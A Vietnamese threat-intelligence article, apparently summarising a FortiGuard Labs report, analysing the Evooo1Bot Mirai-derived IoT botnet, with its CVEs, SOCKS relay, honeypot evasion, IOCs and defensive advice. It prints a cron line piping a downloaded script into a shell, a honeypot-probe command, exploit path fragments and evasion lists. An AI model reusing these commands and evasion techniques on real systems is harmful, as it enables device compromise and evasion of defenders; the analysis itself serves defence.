# Evooo1Bot: khi router bị nhiễm không còn là đạn dùng một lần mà trở thành hạ tầng cho thuê

## Tóm tắt

Evooo1Bot dùng lại nguyên engine DDoS từ mã nguồn Mirai bị rò rỉ công khai. Phần đó không có gì mới sau mười năm.

Cái mới nằm ở những thứ được gắn thêm vào: giao tiếp C2 mã hóa, scanner brute-force SSH, module SOCKS relay, credential sniffer, và một kho exploit tích hợp nhắm nhiều lỗ hổng đã biết. FortiGuard Labs đặt tên họ mã độc này theo chuỗi `evooo1` được hardcode trong mọi binary, và ghi nhận hoạt động từ **tháng 07/2026**.

Điểm quan trọng nhất không phải danh sách tính năng mà là **module SOCKS relay đã thay đổi bản chất kinh tế của một thiết bị bị nhiễm**.

Với botnet DDoS truyền thống, router của bạn là đạn dùng một lần: bắn xong, bị phát hiện, bị vá, hết giá trị. Với Evooo1Bot, nó trở thành **hạ tầng tái sử dụng được** — một node proxy có thể dùng để ẩn nguồn gốc tấn công, vượt giới hạn địa lý, làm bàn đạp vào mạng nội bộ, hoặc đơn giản là bán trên thị trường residential proxy. Fortinet đánh giá đây là năng lực **đáng chú ý nhất về mặt vận hành** của cả họ mã độc.

**Hành động ưu tiên: rà xem có thiết bị mạng nào trong môi trường đang mở listener trên cổng TCP 1080, hoặc phát ra kết nối SSH đi ra internet — cả hai đều là hành vi gần như không bao giờ hợp lệ với router hay camera.**

* * *

## Phát hiện và vector lây nhiễm

Evooo1Bot lọt vào tầm ngắm của Fortinet qua telemetry IPS. Họ quan sát thấy các nỗ lực khai thác nhắm nhiều loại thiết bị biên, và điểm chung là **toàn bộ payload callback đều trỏ về cùng một loader URL**: `91.92.40[.]118/wget.sh`.

Mười lỗ hổng được quan sát khai thác trong traffic thực tế, trải dài từ **2007 tới 2025**:

| CVE | Sản phẩm mục tiêu |
| --- | --- |
| CVE-2007-3010 | Alcatel OmniPCX Enterprise — RCE |
| CVE-2016-6277 | Nhiều dòng router NETGEAR — RCE |
| CVE-2018-14558 | Tenda AC7, AC9, AC10 — command injection |
| CVE-2019-14931 | Mitsubishi Electric ME-RTU và INEA ME-RTU — command injection |
| CVE-2020-10987 | Tenda AC1900 (AC15) — RCE |
| CVE-2021-46422 | Telesquare SDT-CW3B1 — command injection |
| CVE-2022-37055 | Router D-Link — buffer overflow |
| CVE-2024-29269 | Telesquare TLR-2005KSH — command injection |
| CVE-2025-10123 | D-Link DIR-823X — command injection |
| CVE-2025-55583 | D-Link DIR-868L B1 — command injection |

Việc duy trì cả lỗ hổng từ 2007 lẫn lỗ hổng công bố năm 2025 là lựa chọn có chủ đích: thiết bị nhúng có vòng đời rất dài, và một CVE gần hai mươi năm tuổi vẫn còn mục tiêu sống. Cần lưu ý rằng nhiều CVE trong danh sách này được chia sẻ rộng rãi trong hệ sinh thái botnet IoT — việc chúng xuất hiện ở đây không phải dấu hiệu riêng của Evooo1Bot.

![Payload trong pcap khai thác](http://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/_jcr_content/root/responsivegrid/table_content/par/image.img.png/1786478427657/f2-1.png align="center")

*Payload quan sát được trong pcap của lưu lượng khai thác (nguồn: FortiGuard Labs).*

Script `wget.sh` tải và thực thi binary khớp với kiến trúc CPU của máy chủ, thử **12 biến thể** qua `wget`, rồi `busybox wget`, rồi `curl`, rồi `tftp` theo đúng thứ tự đó. Binary được ghi vào đường dẫn tạm, cấp quyền thực thi, chạy — và **bash history bị xóa sau khi nhiễm**.

![wget.sh](http://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/_jcr_content/root/responsivegrid/table_content/par/image_1244913004.img.png/1786478637985/f3.png align="center")

*Script loader* `wget.sh` *(nguồn: FortiGuard Labs).*

### Nhãn chiến dịch: operator đang đo hiệu quả từng exploit

Đây là chi tiết tôi cho là đáng phân tích riêng.

Mỗi lần khai thác mang theo một **nhãn chiến dịch nhúng ngay trong lệnh tải** — ví dụ `-s mitsu` cho các mục tiêu Mitsubishi Electric, và `rep.alcatel` cho các mục tiêu Alcatel-Lucent. Fortinet nhận định điều này cho thấy operator **tự theo dõi tỷ lệ nhiễm theo từng lỗ hổng một cách độc lập**.

Đây là hành vi kiểu phân tích sản phẩm, không phải kiểu chạy script cho vui. Họ đang đo xem exploit nào mang lại nhiều thiết bị nhất trên mỗi đơn vị công sức, và nhiều khả năng dùng số liệu đó để quyết định đầu tư tiếp vào đâu. Với một dự án mà giá trị đầu ra là số node proxy khả dụng, việc đo lường như vậy hoàn toàn hợp lý về mặt kinh doanh.

* * *

## Chống phân tích: mức đầu tư vượt mặt bằng Mirai

Trước khi chạy, binary kiểm tra bốn nhóm dấu hiệu môi trường phân tích. Danh sách rất dài, và bản thân độ dài đó là thông tin.

**Kiểm tra sự tồn tại của file:** strace, ltrace, gdb, lldb, valgrind, perf, radare2, r2, rizin, cutter, iaito, ghidra, ghidraRun, ida, ida64, idat, idat64, objdump, readelf, retdec-decompiler, wireshark, tshark, tcpdump, ngrep, ettercap, yara, ssdeep, binwalk, foremost, sysdig, bpftrace, auditd, ausearch, fatrace, inotifywait, lynis, rkhunter, chkrootkit, clamdscan, clamscan, volatility, vol.py, gcore.

**Kiểm tra tên tiến trình đang chạy:** gdb, lldb, strace, ltrace, radare2, r2, rizin, rr, valgrind, perf, ida, ida64, ghidra, sysdig, bpftrace, **frida, frida-server**.

**Kiểm tra tên dịch vụ sandbox:** sandboxie, cuckoo, anubis, threatexpert, joebox, comodo, hybrid-analysis, cape-sandbox, fireeye, normanbox, drakvuf.

**Kiểm tra dấu vân VM và container:** vmware, vbox, virtualbox, qemu, **firejail, bubblewrap, gvisor, kata**, cuckoo, joesandbox, cape, any.run, hybrid-analysis.

Nhóm cuối đáng chú ý: `firejail`, `bubblewrap`, `gvisor` và `kata` không phải máy ảo cổ điển mà là các công nghệ sandbox và container hiện đại. Việc kiểm tra chúng cho thấy tác giả cập nhật theo cách các nhà nghiên cứu thực sự đang làm việc, chứ không sao chép một danh sách cũ.

Về bảo vệ chuỗi, hơn **60 khối chuỗi mã hóa** được xử lý bằng cùng một quy trình giải mã, dùng **AES-256-CTR và ChaCha20**. Khóa **không lưu trực tiếp trong binary**: mỗi khóa được tách thành hai hằng 32-byte nhúng trong section `.data` và ghép lại lúc runtime bằng phép XOR. Ngoài ra còn một lớp XOR riêng áp cho một tập chuỗi trong `.rodata` (khóa `0x43` trong bản dựng i386).

![Chuỗi mã hóa](http://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/_jcr_content/root/responsivegrid/table_content/par/image_1999520452.img.png/1786478713245/f4.png align="center")

*Chuỗi ở trạng thái mã hóa trong binary (nguồn: FortiGuard Labs).*

Nhận định của tôi cho phần này: đây là mức đầu tư chống phân tích **vượt xa mặt bằng của mã độc phái sinh từ Mirai**. Phần lớn biến thể Mirai không obfuscate chuỗi, hoặc chỉ dùng một phép XOR đơn giản với khóa nằm ngay cạnh dữ liệu. Tác giả Evooo1Bot kỳ vọng mẫu của mình sẽ bị phân tích, và đã chuẩn bị cho điều đó.

Sau khi vượt qua toàn bộ kiểm tra, binary kết nối tới C2 trên **cổng 443** — Fortinet ghi rõ cổng này được chọn để hòa lẫn vào lưu lượng HTTPS thông thường ở vành đai mạng.

* * *

## Kiến trúc module: 28 lệnh

| Module | Lệnh | Mô tả |
| --- | --- | --- |
| Persistence | `!persist` | Cài đồng thời toàn bộ cơ chế duy trì |
| Self-Update | `!reinstall` | Tải và thay thế binary đang chạy |
| Control | `!kill` `!exit` `!info` | Kết thúc bot, thoát êm, hoặc trả về thông tin hệ thống |
| File Transfer | `!download` `!upload` | Hai chiều; giới hạn 10 MB; phân tách bằng marker `__FILE_START__` và `__FILE_END__` |
| Interactive Shell | `!shell` `!exec` `!stream` `!detach` `!bg` | Mở PTY qua `/dev/ptmx`, đặt `TERM=xterm-256color`, hỗ trợ chạy nền và detach |
| Sniffer | `!sniff` `!stopsniff` | Đọc `/proc/net/tcp`, chặn header HTTP Basic Authorization và Cookie, ghi vào `/tmp/.sniff.log` |
| SOCKS Relay | `!socks` `!socksauth` `!stopsocks` | Biến nạn nhân thành node proxy, có tùy chọn xác thực, relay lưu lượng TCP tùy ý |
| SSH Scanner | `!ssh` `!stopssh` `!enableautossh` `!disableautossh` | SSH client tích hợp, từ điển hơn 150 credential |
| DDoS | `!attack` `!stopattack` | 16 phương thức flood |
| CVE Exploit | `!cve` `!stopcve` `!cveall` | Dispatcher exploit qua HTTP, payload host do operator cung cấp (`MODE:all` để quét đồng thời) |

Ba lệnh `!cve`, `!stopcve` và `!cveall` chỉ có trong phiên bản mới nhất — các bản dựng trước đó hỗ trợ toàn bộ lệnh còn lại.

### Persistence: năm cơ chế cùng lúc

Một lệnh `!persist` cài đồng thời tất cả:

```plaintext
systemd service   Unit file với Description=Apache HTTPD Cache Manager, Restart=always
SysV init         Script trong /etc/init.d với header ### BEGIN INIT INFO
cron              Tải lại script mỗi 5 phút:
                  */5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh ...'
Shell profile     Injection vào /etc/profile.d/, chạy khi đăng nhập
rc.local          Append script tải payload vào /etc/rc.local
```

Việc đặt tên unit file là `Apache HTTPD Cache Manager` là lựa chọn khá tốt về mặt ngụy trang: nó nghe hợp lý trên một máy chủ Linux và không kích hoạt phản xạ nghi ngờ của người quản trị đang lướt qua danh sách service.

Để chống bị kết thúc, binary ghi vào `/proc/self/oom_score_adj` nhằm giảm mức ưu tiên của OOM-killer, và **giữ** `/dev/watchdog` **mở để ngăn thiết bị tự khởi động lại**.

Chi tiết thứ hai đặc biệt tinh vi và đáng ghi nhớ. Watchdog là cơ chế mà rất nhiều thiết bị nhúng dùng để tự phục hồi khi treo — nếu tiến trình giám sát không "vỗ về" watchdog trong khoảng thời gian quy định, thiết bị tự reboot. Bằng cách giữ handle mở, mã độc vô hiệu hóa chính cơ chế tự phục hồi đó. Nói cách khác, lời khuyên quen thuộc "khởi động lại router để xóa mã độc IoT" bị vô hiệu hóa từ trước.

* * *

## SOCKS relay: hai chế độ, và vì sao reverse mode quan trọng hơn

![SOCKS relay](http://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/_jcr_content/root/responsivegrid/table_content/par/image_1967520075.img.png/1786480512628/f7.png align="center")

*Module SOCKS relay trong mã nguồn được phân tích (nguồn: FortiGuard Labs).*

Khác với các lệnh botnet thông thường vốn tập trung vào tải payload hoặc phát động tấn công, `!socks` biến máy nhiễm thành một proxy SOCKS5 mà operator có thể dùng làm trạm trung chuyển mạng.

**Direct mode.** Bot mở listener SOCKS5 trên máy nhiễm ở cổng TCP mặc định **1080** và chờ kết nối từ client. Cách triển khai thử tạo listener IPv6 dual-stack trước, và fallback sang IPv4 nếu thất bại. Mỗi client được chấp nhận sẽ được chuyển cho hàm xử lý phiên.

**Reverse mode.** Thay vì phơi một cổng lắng nghe, bot thiết lập kết nối mã hóa **đi ra** tới một relay server do operator chỉ định. Kênh điều khiển thường trực này lắng nghe các lệnh dạng `RELAY_NEW:<session_id>`, báo hiệu cần tạo một phiên proxy mới.

Khi nhận yêu cầu, bot mở kết nối mã hóa thứ hai tới cùng relay server, đăng ký nó bằng `RELAY_DATA:<session_id>`, rồi bàn giao kết nối cho hàm xử lý proxy SOCKS5. **Kiến trúc này tách kênh điều khiển khỏi lưu lượng proxy**, cho phép nhiều phiên chạy độc lập trong khi vẫn duy trì một kết nối điều khiển ổn định.

Với người làm phòng thủ, reverse mode là chế độ đáng lo hơn nhiều. Direct mode để lại một cổng mở — thứ mà quét mạng định kỳ có thể bắt được. Reverse mode **không mở cổng nào trên thiết bị nạn nhân**, nên không có dấu hiệu nào ở phía ngoài để phát hiện; nó trông giống một kết nối TLS đi ra bình thường trên cổng 443.

Fortinet chỉ ra rõ giá trị mà điều này mang lại cho kẻ tấn công: địa chỉ IP của nạn nhân được dùng để ngụy trang lưu lượng độc hại, vượt qua giới hạn theo khu vực địa lý, hoặc cung cấp đường vào mạng nội bộ thông qua một máy đã bị chiếm. Với botnet quy mô lớn hơn, cùng chức năng đó có thể được dùng để xây dựng **hạ tầng proxy phân tán**, phục vụ chuyển tiếp lưu lượng ẩn danh hoặc thương mại hóa qua các dịch vụ residential và enterprise proxy.

* * *

## Brute-force SSH và cơ chế né honeypot

Trước khi khởi động scanner, mã độc chạy **hai lớp kiểm tra honeypot ở hai giai đoạn khác nhau của kết nối**. Đây là phần tôi cho là có giá trị vận hành trực tiếp nhất trong toàn bộ báo cáo.

**Lớp thứ nhất — trong lúc handshake giao thức, trước khi gửi bất kỳ credential nào.** Scanner so banner SSH của mục tiêu với một danh sách cứng:

|  |  |  |
| --- | --- | --- |
| Cowrie | `SSH-2.0-paramiko` | `SSH-2.0-Go` |
| Kippo | `SSH-2.0-libssh` | `SSH-2.0-Parks` |
| HonSSH | Twisted | `SSH-2.0-CISCO_WLC` |
| Glutton | `russh_` | `SSH-2.0-Server` |
| OpenCanary | ssh2js | `SSH-2.0-MocanaSSH` |

Trùng bất kỳ mục nào khiến mục tiêu **bị bỏ qua trong im lặng, không ghi log, không tương tác thêm**.

**Lớp thứ hai — sau khi đăng nhập thành công, trước khi giao payload persistence.** Scanner chạy lệnh sau qua phiên đã thiết lập:

```plaintext
cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null
```

Output của `/proc/version` được kiểm tra xem có chứa chuỗi `Linux version` hay không. Nếu không, đó là dấu hiệu môi trường giả lập hoặc phi tiêu chuẩn, và mục tiêu bị bỏ qua. Lệnh `ls` phát hiện hai họ honeypot: **Cowrie và Kippo**. Thấy bất kỳ dấu hiệu nào, scanner từ bỏ mục tiêu.

Fortinet giải thích hai lớp này **bổ sung cho nhau chứ không trùng lặp**: lớp banner lọc các honeypot tự lộ qua định danh triển khai SSH của chúng; còn lớp thăm dò sau đăng nhập nhắm vào những honeypot có banner hợp lý nhưng lộ mình qua cấu trúc filesystem của máy chủ bên dưới. Chỉ những mục tiêu vượt qua cả ba điều kiện mới được giao payload.

**Điều này có một hệ quả rất cụ thể với các đội đang vận hành honeypot.** Nếu tổ chức bạn dùng Cowrie hoặc Kippo để thu thập mẫu và đánh giá mối đe dọa SSH — đây là hai lựa chọn phổ biến nhất và thường là mặc định — thì **bạn sẽ không bắt được họ mã độc này**, và bạn cũng sẽ không thấy dấu vết nào cho thấy nó đã ghé qua, vì mã độc bỏ đi trong im lặng ngay ở tầng banner. Số liệu về mối đe dọa SSH mà bạn đang dựa vào đang thiếu Evooo1Bot, và nhiều khả năng thiếu cả các họ mã độc khác áp dụng cùng kỹ thuật. Nếu honeypot là một phần trong quy trình TI của bạn, đây là lý do cụ thể để cân nhắc bổ sung các implementation ít phổ biến hơn hoặc tùy biến banner mặc định.

Sau khi vượt kiểm tra, scanner dùng một SSH client tích hợp với banner `SSH-2.0-OpenSSH_9.7p1`.

![Credential hardcode](http://www.fortinet.com/blog/threat-research/multi-functional-linux-botnet-evooo1bot/_jcr_content/root/responsivegrid/table_content/par/image_1801779559.img.png/1786480874392/f8.png align="center")

*Từ điển credential được hardcode trong binary (nguồn: FortiGuard Labs).*

### Từ điển credential có mùi doanh nghiệp

Từ điển nhúng chứa **hơn 150 entry**. Ngoài các credential mặc định IoT thông thường, danh sách còn bao gồm **tên tài khoản dịch vụ**: `jenkins`, `postgres`, `oracle`, `nagios`, `deploy`.

Fortinet nói rõ đây là những tên phổ biến trong **môi trường doanh nghiệp và công nghệ vận hành hơn là trên router tiêu dùng**.

Kết hợp chi tiết này với các thành phần khác trong bức tranh — CVE-2019-14931 nhắm thiết bị RTU công nghiệp của Mitsubishi Electric, và module exploit chứa cả Kubernetes ingress-nginx cùng Atlassian Confluence — kết luận trở nên rõ: đây không phải một botnet chỉ săn router nhà dân. Tác giả đã tính đến việc mã độc sẽ hạ cánh trên máy chủ và thiết bị vận hành, và chuẩn bị từ điển tương ứng.

* * *

## Engine DDoS

Phần này giữ nguyên cấu trúc của mã nguồn Mirai bị rò rỉ. Biến thể HTTP flood hỗ trợ các giá trị `METHOD`, `HEADER` và `EXPECT` do operator chỉ định, và dựng request với User-Agent cùng Content-Length tùy biến.

| ID | Phương thức | Mô tả |
| --- | --- | --- |
| 0x00 | udp | UDP flood thông thường |
| 0x01 | vse | Khuếch đại truy vấn Valve Source Engine |
| 0x02 | dns | DNS flood |
| 0x03 | syn | TCP SYN flood |
| 0x04 | ack | TCP ACK flood |
| 0x05 | stomp | TCP STOMP |
| 0x06 | greip | GRE-encapsulated IP flood |
| 0x07 | greeth | GRE-encapsulated Ethernet flood |
| 0x08 | udpplain | UDP tốc độ gói cao, header tối thiểu |
| 0x09 | std | UDP flood với payload độ dài ngẫu nhiên |
| 0x0a | xmas | TCP bật toàn bộ flag |
| 0x0b | usyn | Biến thể URG+SYN |
| 0x0c | tcpall | TCP với tổ hợp flag tùy ý |
| 0x0d | tcpfrag | TCP flood phân mảnh |
| 0x0e | ovh | Kỹ thuật thiết kế để vượt cơ chế chống DDoS của OVH |
| 0x0f | asyn | SYN flood bất đồng bộ |

Module exploit tích hợp chứa một bảng CVE dạng plaintext trong binary, mỗi entry ánh xạ một CVE tới một hoặc nhiều chuỗi HTTP request. Operator cung cấp payload host lúc runtime qua `!cve <url>` hoặc `!cveall <url>`:

| CVE | Sản phẩm | Đường dẫn |
| --- | --- | --- |
| CVE-2021-36260 | Camera IP Hikvision | `/SDK/webLanguage` |
| CVE-2022-26134 | Atlassian Confluence | `/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils` |
| CVE-2022-30525 | Zyxel Firewall | `/ztp/cgi-bin/handler` |
| CVE-2023-1389 | TP-Link Archer AX21 | `/cgi-bin/luci/;stok=/locale` |
| CVE-2024-4577 | PHP-CGI (Windows) | `allow_url_include%3D` |
| CVE-2024-10914 | D-Link NAS | `/cgi-bin/account_mgr.cgi` |
| CVE-2025-1974 | Kubernetes ingress-nginx | `/apis/networking/v1/ingresses` |
| CVE-2022-29464 | Sản phẩm WSO2 | `/fileupload/` |

* * *

## IOC

> IOC lấy từ báo cáo của FortiGuard Labs ngày 13/08/2026. IP đã defang.

**Hạ tầng**

```plaintext
91.92.40[.]118                      # máy chủ loader và C2
hxxp://91.92.40[.]118/wget.sh       # script loader, tải 12 biến thể theo kiến trúc CPU
 
Cổng C2: TCP 443                    # chọn để hòa lẫn vào lưu lượng HTTPS ở vành đai
```

**Hash mẫu (SHA-256)**

```plaintext
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d
```

**Artifact trên thiết bị**

```plaintext
# Chuỗi định danh
evooo1                              # hardcode trong mọi binary của họ mã độc này
 
# Persistence
systemd unit với Description=Apache HTTPD Cache Manager và Restart=always
Script trong /etc/init.d/ với header ### BEGIN INIT INFO
Cron entry chạy mỗi 5 phút, gọi wget hoặc curl pipe vào /bin/sh
File injection trong /etc/profile.d/
Dòng append bất thường trong /etc/rc.local
 
# Chống kết thúc
Giá trị bất thường trong /proc/self/oom_score_adj
Tiến trình giữ handle /dev/watchdog mở
 
# Sniffer
/tmp/.sniff.log                     # nơi lưu credential HTTP Basic Auth và Cookie thu được
Tiến trình đọc /proc/net/tcp bất thường
```

**Artifact mạng**

```plaintext
# SOCKS relay
Listener trên cổng TCP 1080 từ router, camera hoặc thiết bị nhúng   (direct mode)
Kết nối TLS đi ra dài hạn tới địa chỉ lạ trên cổng 443 từ thiết bị nhúng   (reverse mode)
 
# Marker giao thức relay
RELAY_NEW:<session_id>
RELAY_DATA:<session_id>
 
# Marker truyền file
__FILE_START__
__FILE_END__
 
# SSH scanner
Banner client: SSH-2.0-OpenSSH_9.7p1
Kết nối SSH đi ra từ thiết bị mạng tới internet
 
# Nhãn chiến dịch trong lệnh tải
-s mitsu                            # mục tiêu Mitsubishi Electric
rep.alcatel                         # mục tiêu Alcatel-Lucent
```

**CVE bị khai thác — lây nhiễm ban đầu**

```plaintext
CVE-2007-3010     Alcatel OmniPCX Enterprise
CVE-2016-6277     NETGEAR (nhiều dòng router)
CVE-2018-14558    Tenda AC7 / AC9 / AC10
CVE-2019-14931    Mitsubishi Electric ME-RTU, INEA ME-RTU
CVE-2020-10987    Tenda AC1900 (AC15)
CVE-2021-46422    Telesquare SDT-CW3B1
CVE-2022-37055    Router D-Link
CVE-2024-29269    Telesquare TLR-2005KSH
CVE-2025-10123    D-Link DIR-823X
CVE-2025-55583    D-Link DIR-868L B1
```

**CVE trong module exploit**

```plaintext
CVE-2021-36260    Camera IP Hikvision
CVE-2022-26134    Atlassian Confluence
CVE-2022-29464    Sản phẩm WSO2
CVE-2022-30525    Zyxel Firewall
CVE-2023-1389     TP-Link Archer AX21
CVE-2024-4577     PHP-CGI (Windows)
CVE-2024-10914    D-Link NAS
CVE-2025-1974     Kubernetes ingress-nginx
```

**Coverage của Fortinet**

```plaintext
FortiGuard Antivirus: Linux/Agent.BDS!tr
 
IPS signature (15):
  alcatel-lucent.omnipcx.office.mastercgi.user.command.execution     CVE-2007-3010
  NETGEAR.WebServer.Module.Command.Injection                         CVE-2016-6277
  Tenda.AC15.AC1900.Authenticated.Remote.Command.Injection           CVE-2018-14558, CVE-2020-10987
  mitsubishi.electric.me-rtu.command.injection                       CVE-2019-14931
  Hikvision.Products.SDK.WebLanguage.Tag.Command.Injection           CVE-2021-36260
  Telesquare.SDT-CW3B1.Command.Injection                             CVE-2021-46422, CVE-2024-29269
  HTTP.URI.Java.Expression.Language.Code.Injection                   CVE-2022-26134
  WSO2.fileupload.Arbitrary.File.Upload                              CVE-2022-29464
  Zyxel.Firewall.ZTP.Command.Injection                               CVE-2022-30525
  D-link.go-rt-ac750.hnap_main.buffer.overflow                       CVE-2022-37055
  TP-Link.Archer.AX21.luci.stok.Command.Injection                    CVE-2023-1389
  D-Link.Devices.account_mgr.cgi.Command.Injection                   CVE-2024-10914
  PHP.CGI.Argument.Injection                                         CVE-2024-4577
  D-Link.DIR-823X.set_static_leases.Command.Injection                CVE-2025-10123
  D-Link.DIR-868L.fileaccess.cgi.Command.Injection                   CVE-2025-55583
```

* * *

## MITRE ATT&CK Mapping

| Tactic | Technique ID | Technique Name | Ghi nhận trong chiến dịch |
| --- | --- | --- | --- |
| Initial Access | T1190 | Exploit Public-Facing Application | 10 CVE trên thiết bị biên |
| Initial Access | T1110.001 | Brute Force: Password Guessing | Scanner SSH với từ điển hơn 150 entry |
| Initial Access | T1078.001 | Valid Accounts: Default Accounts | Credential mặc định IoT |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | `wget.sh`, PTY shell tương tác |
| Persistence | T1543.002 | Create or Modify System Process: Systemd Service | Unit `Apache HTTPD Cache Manager` |
| Persistence | T1053.003 | Scheduled Task/Job: Cron | Tải lại payload mỗi 5 phút |
| Persistence | T1037.004 | Boot or Logon Initialization Scripts: RC Scripts | `/etc/init.d`, `/etc/rc.local` |
| Persistence | T1546.004 | Event Triggered Execution: Unix Shell Configuration Modification | Injection vào `/etc/profile.d/` |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | Unit file giả danh Apache HTTPD |
| Defense Evasion | T1027 | Obfuscated Files or Information | AES-256-CTR, ChaCha20, XOR nhiều lớp |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Khóa tách đôi, ghép bằng XOR lúc runtime |
| Defense Evasion | T1497.001 | Virtualization/Sandbox Evasion: System Checks | Kiểm tra VM, container, sandbox, honeypot |
| Defense Evasion | T1622 | Debugger Evasion | Kiểm tra file và tiến trình của hơn 50 công cụ phân tích |
| Defense Evasion | T1070.003 | Indicator Removal: Clear Command History | Xóa bash history sau khi nhiễm |
| Credential Access | T1040 | Network Sniffing | Đọc `/proc/net/tcp`, chặn HTTP Basic Auth và Cookie |
| Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | C2 mã hóa; kênh relay mã hóa |
| Command and Control | T1571 | Non-Standard Port | Cổng 443 dùng cho giao thức C2 riêng, không phải HTTPS |
| Command and Control | T1090.001 | Proxy: Internal Proxy | Listener SOCKS5 trên cổng 1080 |
| Command and Control | T1090.003 | Proxy: Multi-hop Proxy | Reverse relay qua máy chủ của operator |
| Command and Control | T1105 | Ingress Tool Transfer | `wget.sh` và lệnh `!download` |
| Impact | T1498 | Network Denial of Service | 16 phương thức DDoS |
| Impact | T1498.001 | Direct Network Flood | UDP, SYN, ACK, GRE và các biến thể khác |

* * *

## Nhận định

**Kinh tế học của botnet IoT đang thay đổi, và Evooo1Bot là một ví dụ rõ.**

Với một botnet DDoS thuần túy, mỗi thiết bị bị nhiễm là tài nguyên tiêu hao. Nó tham gia vài đợt tấn công, có thể bị nhà mạng chặn hoặc chủ sở hữu vá, rồi biến mất. Mô hình doanh thu là bán theo giây hoặc theo đợt tấn công, và operator phải liên tục bù đắp số bot mất đi.

Với module SOCKS relay, cùng một thiết bị đó trở thành **hạ tầng có giá trị lặp lại**. Một router ở dải IP dân cư của một nhà mạng là thứ có thị trường thật: dịch vụ residential proxy bán quyền định tuyến lưu lượng qua IP dân cư hợp lệ, và khách hàng của loại dịch vụ đó trả tiền hàng tháng chứ không theo giây. Fortinet nêu thẳng khả năng thương mại hóa này trong phần kết luận.

Sự chuyển dịch đó kéo theo một thay đổi về động cơ: operator giờ có lý do để **giữ thiết bị sống lâu và im lặng** thay vì vắt kiệt nó. Điều đó giải thích rất nhiều lựa chọn thiết kế trong mã: lớp chống phân tích công phu, cơ chế né honeypot, việc giữ `/dev/watchdog` mở, và năm cơ chế persistence song song. Đây không phải mã độc được viết để bắn một lần.

**Với doanh nghiệp, rủi ro lớn nhất không phải băng thông mà là danh tính.** Khi thiết bị của bạn trở thành node SOCKS, lưu lượng tấn công vào tổ chức khác đi ra từ địa chỉ IP công cộng của bạn. Bạn xuất hiện trong log của nạn nhân ở nơi khác với vai trò **hạ tầng tấn công**, không phải nạn nhân. Kéo theo đó là rủi ro bị đưa vào danh sách chặn của các nhà cung cấp dịch vụ, rủi ro pháp lý, và rủi ro uy tín khi đối tác quốc tế rà soát — những thứ khó gỡ hơn nhiều so với việc dọn một con mã độc.

**Về mức độ chín của mã.** Lớp chống phân tích ở đây vượt xa mặt bằng Mirai-derived: hơn 60 khối chuỗi mã hóa bằng AES-256-CTR và ChaCha20, khóa tách đôi ghép runtime, và danh sách kiểm tra bao gồm cả `gvisor` với `kata` — những công nghệ mà chỉ người theo dõi sát cách giới nghiên cứu làm việc mới nghĩ tới. Cùng với đó là 28 lệnh, PTY shell đầy đủ, truyền file hai chiều có delimiter. Đây là một dự án được đầu tư nghiêm túc, không phải một biến thể Mirai chỉnh vài dòng.

### Liên hệ Việt Nam

**Danh sách thiết bị mục tiêu trúng gần như toàn bộ những gì phổ biến trong nước.** Tenda, D-Link và TP-Link là ba thương hiệu router chiếm thị phần lớn ở phân khúc hộ gia đình và doanh nghiệp nhỏ tại Việt Nam. Camera Hikvision (CVE-2021-36260 trong module exploit) có mặt ở gần như mọi cửa hàng, văn phòng và tòa nhà. Đây không phải danh sách nhắm vào hạ tầng doanh nghiệp lớn — nó nhắm vào thứ nằm trong tủ mạng của mọi văn phòng nhỏ và trên trần của mọi cửa hàng.

**Rủi ro không dừng ở lớp thiết bị mạng.** Từ điển SSH chứa `postgres`, `oracle`, `jenkins`, `nagios`, `deploy`; module exploit chứa Kubernetes ingress-nginx và Atlassian Confluence; và danh sách CVE lây nhiễm có thiết bị RTU công nghiệp. Nếu tổ chức bạn có máy chủ ứng dụng hoặc hệ thống CI/CD nào lộ SSH ra internet với mật khẩu yếu, chúng nằm trong phạm vi của chiến dịch này.

**Hai điểm phát hiện rẻ và ít nhiễu nhất.** Thứ nhất: một router, camera hay đầu ghi hình **mở kết nối SSH đi ra internet** là hành vi gần như không bao giờ hợp lệ — thiết bị nhúng không có nhu cầu nghiệp vụ nào để làm việc đó. Thứ hai: **listener trên cổng TCP 1080 từ một thiết bị mạng** cũng vậy. Cả hai không cần biết trước tên mã độc và không đòi hỏi công cụ đắt tiền.

Reverse mode khó hơn đáng kể — nó chỉ trông như một kết nối TLS đi ra trên cổng 443. Ở đây thứ phân biệt được là **tính bền của kết nối và bản chất của thiết bị**: một camera IP duy trì kết nối TLS dài hạn tới một địa chỉ lạ ở nước ngoài không giống bất kỳ hoạt động hợp lệ nào của nó.

Cuối cùng, một lưu ý cho quy trình xử lý: vì mã độc giữ `/dev/watchdog` mở và cài năm cơ chế persistence song song, **khởi động lại thiết bị không đủ**. Cần khôi phục firmware về bản gốc mới nhất và đổi toàn bộ thông tin đăng nhập.

* * *

## Khuyến nghị

*   **Cập nhật firmware cho toàn bộ thiết bị biên** theo danh sách CVE trong bài, ưu tiên Tenda, D-Link, TP-Link và camera Hikvision; thay thế thiết bị đã hết vòng đời hỗ trợ.
    
*   **Đổi mật khẩu mặc định và tắt SSH/Telnet trên giao diện WAN** của mọi router, camera, đầu ghi hình và thiết bị Linux nhúng; với máy chủ, dùng xác thực bằng khóa thay cho mật khẩu.
    
*   **Cảnh báo trên hai hành vi cụ thể:** thiết bị nhúng mở kết nối SSH đi ra internet, và listener trên cổng TCP 1080 từ phân đoạn mạng thiết bị.
    
*   **Xây baseline cho kết nối đi ra của phân đoạn IoT** và cảnh báo trên kết nối TLS dài hạn tới địa chỉ lạ trên cổng 443 — đây là cách duy nhất bắt được chế độ reverse relay.
    
*   **Kiểm tra định kỳ IP công cộng của tổ chức trên các danh sách chặn và dịch vụ reputation** — nếu thiết bị của bạn đang làm node proxy, đó có thể là dấu hiệu đầu tiên bạn nhận được.
    
